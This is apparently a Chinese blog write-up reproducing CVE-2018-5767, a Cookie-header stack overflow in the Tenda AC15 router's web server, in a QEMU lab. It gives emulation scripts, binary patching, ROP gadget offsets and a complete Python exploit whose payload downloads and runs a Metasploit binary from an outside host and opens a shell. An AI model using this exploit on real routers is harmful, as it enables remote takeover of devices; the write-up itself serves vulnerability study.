【工业安全】-CVE-2018-5767- Tenda AC15 远程代码执行漏洞

 

文章目录

1.漏洞描述

2.环境搭建

3.漏洞复现

4.漏洞分析

 4.1:代码分析

 4.2:流量分析

5.poc代码:


  1.漏洞描述

漏洞编号:CVE-2018-5767

漏洞名称:Tenda AC15 远程代码执行漏洞(CVE-2018-5767)

威胁等级:严重

漏洞详情:Tenda AC15 V15.03.1.16_multi设备上发现问题。未经身份验证的远程攻击者可以通过为COOKIE标头精心编制的密码参数在设备上远程执行代码。

影响范围:AC15 V15.03.1.16_multi


2.环境搭建

qemu-sys模拟debian-armhf系统:

1.移动文件:mv.sh

#!/bin/bash

# 复制 squashfs-root 目录并压缩
cp -r _*/squashfs-root /root/ && tar czf /root/squashfs-root.tar.gz -C /root squashfs-root && rm -rf /root/squashfs-root

2.使用 expect 脚本自动化 QEMU 启动和配置:run.sh

#!/bin/bash

# 启动 ssh 服务
#systemctl start ssh

# 配置网卡
tunctl -t tap0
ifconfig tap0 192.168.2.1/24
ifconfig tap0 up

# 启动 http 服务
nohup python3 -m http.server 8000 1>/dev/null &

# 进入 qemu 镜像目录
cd debain

# 使用 expect 脚本自动化 QEMU 启动和配置
/usr/bin/expect <<EOF
set timeout 10000

spawn qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

expect "debian-armhf login:"
send "root\r"
expect "Password:"
send "root\r"

expect "root@debian-armhf:~# "
send "ifconfig eth0 192.168.2.2/24\r"

expect "root@debian-armhf:~# "
send "scp root@192.168.2.1:/root/squashfs-root.tar.gz /root/squashfs-root.tar.gz\r"
expect {
    "(yes/no)? " { send "yes\r"; exp_continue }
    "password: " { send "root\r" }
}

expect "root@debian-armhf:~# "
send "tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz\r"
expect "root@debian-armhf:~# "
send "mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc\r"
expect "root@debian-armhf:~# "
send "chroot squashfs-root/ sh\r"
expect "# "
send "brctl addbr br0 && ifconfig br0 192.168.2.2/24 up\r"
expect "# "
send "/bin/httpd 1>/dev/null 2>&1 &\r"
expect "# "
send "sleep 1 && chmod +x tools/getlibc.sh && /bin/sh tools/getlibc.sh\r"


expect eof
EOF

3.漏洞复现

在/home/CVE-2018-5767目录下,用qemu-sys模式模拟,把固件模拟运行起来。

1.首先在CVE-2018-5767同级目录下,binwalk -eM 解压文件。

2.然后对binwalk解包后的固件中的任何二进制文件执行 file 命令,查看下设备的cpu 架构。

命令:file ./bin/httpd

我们可知Tenda AC15路由器的httpd是基于ARM架构的 32 位小端序可执行文件

3.创建diban目录,下载模拟qemu-system需要的阉割debian(debian-armhf)系统:

https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2

https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpres

4.给httpd文件可执行权限,命令:chmod +x httpd

5.复制squashfs-root目录下的webroot_ro文件到webroot中

命令:

rm -rf webroot 

ln -s webroot_ro/ webroot

6.执行模拟命令

./mv.sh
./run.sh

但是卡在这里了,在IDA里面看一下httpd,搜索 welcome,发现是因为有一个check_network检查。

定向分析可知Loc_2CF84是计算一个值并将其作为参数传递给 check_network 函数,然后比较该函数的返回值,如果返回值为0,则跳转到左侧,如果返回值为1,则跳转到右侧loc_2CFA8。

很显然,此处的返回值为0,所以我们要手动将返回值改为1,跳转到loc_2CFA8。

方法是:首先进入https://disasm.proc查看汇编码对应的十六进制代码:

\ x01\x30\xa0\xe3即为MOV R3,#1

 printf '\x01\x30\xa0\xe3' dd of=/bin/httpd bs=1 count=4 conv=notrunc seek=偏移量,dd 命令将 printf 的输出01 30 a0 e3写入 /bin/httpd 文件。

即指定修改我们虚拟机的httpd文件的path为MOV R3,#1。  

而偏移量seek,可以在ida中查看。

由此可知基地址为:0x00008000

seek =地址-基地址 

修改MOV R3,R0为MOV R3,#1

第一处:0x2CF90

改为:

第二处:0x2CFB4

改为:

进制转换:

可创建pach 目录,将其写入脚本:pach.sh

并将其移动到root根目录,打包上传到qemu-sys模拟的diban-armh系统

scp -r root@192.168.2.1:/root/tools /root/squashfs-root/

chmod +x tools/patch.sh && /bin/sh tools/patch.sh

修改后的mv.sh

#!/bin/bash

# 复制 squashfs-root 目录并压缩
cp -r _*/squashfs-root /root/ && tar czf /root/squashfs-root.tar.gz -C /root squashfs-root && rm -rf /root/squashfs-root


# pach 目录
cp -r pach /root/

修改后的run.sh

#!/bin/bash

# 启动 ssh 服务
#systemctl start ssh

# 配置网卡
tunctl -t tap0
ifconfig tap0 192.168.2.1/24
ifconfig tap0 up

# 启动 http 服务
nohup python3 -m http.server 8000 1>/dev/null &

# 进入 qemu 镜像目录
cd debain

# 使用 expect 脚本自动化 QEMU 启动和配置
/usr/bin/expect <<EOF
set timeout 10000

spawn qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

expect "debian-armhf login:"
send "root\r"
expect "Password:"
send "root\r"

expect "root@debian-armhf:~# "
send "ifconfig eth0 192.168.2.2/24\r"

expect "root@debian-armhf:~# "
send "scp root@192.168.2.1:/root/squashfs-root.tar.gz /root/squashfs-root.tar.gz\r"
expect {
    "(yes/no)? " { send "yes\r"; exp_continue }
    "password: " { send "root\r" }
}

expect "root@debian-armhf:~# "
send "tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz\r"
expect "root@debian-armhf:~# "
send "mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc\r"

expect "root@debian-armhf:~# "
send "scp -r root@192.168.2.1:/root/pach /root/squashfs-root/pach\r"
expect {
    "(yes/no)? " { send "yes\r"; exp_continue }
    "password: " { send "root\r" }
}

expect "root@debian-armhf:~# "
send "chroot squashfs-root/ sh\r"
expect "# "
send "chmod +x pach/pach.sh && /bin/sh pach/pach.sh\r"
expect "# "
send "brctl addbr br0 && ifconfig br0 192.168.2.2/24 up\r"
expect "# "
send "/bin/httpd 1>/dev/null 2>&1 &\r"
expect "# "
send "sleep 1 && chmod +x tools/getlibc.sh && /bin/sh tools/getlibc.sh\r"

expect eof
EOF

重新运行:

./mv.sh
./run.sh

登录后获得如下界面:

7.在qemu-system模拟的debian-armhf系统中抓取libc_base

libc_base为执行run.sh后的最后一条命令获取的十六进制编码)

注:libc_base的地址每次都会变。

本次模拟的libc_base为0x76d61000

8.修改poc的基地址

(poc为CVE-2018-5767_Tenda AC15目录下的CVE-2018-16333.py脚本)

$vim.tiny CVE-2018-5767.py

修改:libc_base的地址:

9.执行poc

下载busybox:

https://github.com/Vu1nT0tal/IoT-vulhub/blob/master/baseImage/busybox/1.31.0/busybox-arm

下载gdbsever:

https://github.com/Vu1nT0tal/IoT-vulhub/blob/master/baseImage/gdbserver/7.11.1/arm-gdbserver

下载msf:

https://github.com/Vu1nT0tal/IoT-vulhub/blob/master/baseImage/msf/msf-arm

注:要保证放置三个可执行文件的路径与放置run.sh时的路径相同。

后执行poc使得宿主机:ubuntu 16.04(ip:192.168.2.1)获得了虚拟机:qemu-system模拟的debian-armhf系统(ip:192.168.2.2)的shell

4.漏洞分析

4.1:代码分析

使用 binwalk -e 解包固件,获得文件以备后续分析:

根据漏洞通告R7WebsSecurityHandler函数请求会触发漏洞,查找可执行文件httpd。

可知httpd位于:

解压后的固件/squashfs-root/bin/httpd

在ida中查找函数:R7WebsSecurityHandler

这段代码的目的是从HTTP请求头中提取密码参数,并将其存储在v36缓冲区中。

但是"%*[^=]=%[^;];*"没有限制v36缓冲区可以接收的最大字符数。

如果输入的Cookie长度超过了预期,会覆盖栈上的其他变量,导致缓冲区溢出。

接下来我们利用典型的ROP攻击流程利用漏洞点:

1.劫持程序的控制流-填充字节:

输入中添加足够的填充字节,以便将返回地址(Return Address)覆盖为指向第一个gadget的地址(gadget1)

payload  = b'A'*(444)+执行命令。

但是我们在溢出点后观察函数,可发现两个条件:

#条件一:[路径]

输入的URL要保证if语句不会为false,URL必须以"/goform/"开头,后跟任意字符串,除了下述禁止的路径。

http://xxxx/goform/execCommand就可以。

#条件二:[.gif]

这段代码的目的是定位字符串s中"."字符的位置。

使用memcmp函数检查"."后的字符串是否为特定的文件扩展名,如"gif"、"png"、"js"、"css"、"jpg"或"jpeg"。

如果"."后的字符串不是这些扩展名之一,例如,当存在".gif"时,memcmp(v44, "png", 3u)将返回非零值,表示不匹配,这样就不会触发重定向,从而可能维持了一个缓冲区溢出的状态。

所以我们的palod还必须加上'.gif',或其它特定的文件扩展名。

故:

Url:http://xxxx/goform/execCommand

Pyload: b'A'*(444)+ b'.gif'+执行命令。

2.操作寄存器和控制流:

Gadget1通常是一个指令序列,它将system函数的地址(system_addr)弹出到寄存器R3。这样,R3就被设置为指向system函数的地址,gadget1将gadget2的地址弹出到程序计数器(PC),即R15,使得控制流转移到gadget2。

Gadget2将栈顶的命令参数(cmd)弹出到寄存器R0。这样,R0就被设置为指向我们提供的命令字符串的地址。

首先通过libc_base的地址计算system函数的地址:

#libc_base.so[libc_base]

$cat /proc/`ps -ef | grep -v grep | grep httpd | awk '{print $1}'`/maps | grep '/lib/libc.so'

注:libc_base会变

#system[system]

readelf -s squashfs-root/lib/libc.so.0 | grep system

system_offset=0x5a270

system= libc_base+0x5a270

#gadget2[mov_r0_ret_r3]

路径:/root

命令:ROPgadget --binary squashfs-root/lib/libc.so.0  | grep "mov r0, sp"

mov_r0_ret_r3 = libc_base + 0x40cb8

这里的mov r0, sp指令将堆栈指针(sp)的值移动到寄存器r0,而blx r3指令则跳转到寄存器r3指向的地址执行代码。

#gadget1[pop_r3]

路径:/root

ROPgadget --binary squashfs-root/lib/libc.so.0 --only "pop"| grep r3

pop_r3 = libc_base + 0x18298

该指令会将栈顶的值弹出到r3寄存器,并将下一个字弹出到程序计数器(pc),从而可以改变程序的执行流程。

综上可得ROP攻击流程使得缓冲区溢出条件为

system = libc_base + 0x5A270

mov_r0_ret_r3 = libc_base + 0x40cb8

pop_r3 = libc_base + 0x18298

payload  = b'A'*(444) + b'.gif' + p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + 命令

4.2:流量分析  

5.poc代码:

ubuntu16.04 ip:192.168.2.1 (虚拟网桥 br0)

qemu:debian-armhf ip:192.168.2.2(虚拟网桥 tap0)

#!/usr/bin/python3

import requests
from pwn import *
from threading import Thread

cmd  = b'wget http://192.168.2.1:8000/tools/msf -O /msf '
cmd += b'&& chmod 777 /msf '
cmd += b'&& /msf'

assert(len(cmd) < 255)

libc_base = 0x76df3000

system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298

payload  = b'A'*(444) + b'.gif' + p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = "http://192.168.2.2:80/goform/execCommand"
cookie = {"Cookie": 'password='+payload.decode('latin1')}

def attack():
    try:
        requests.get(url, cookies=cookie)
    except Exception as e:
        print(e)

thread = Thread(target=attack)
thread.start()

io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()

thread.join()

参考文章:IoT-vulhub/Tenda/CVE-2020-10987 at master · Vu1nT0tal/IoT-vulhub · GitHub

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值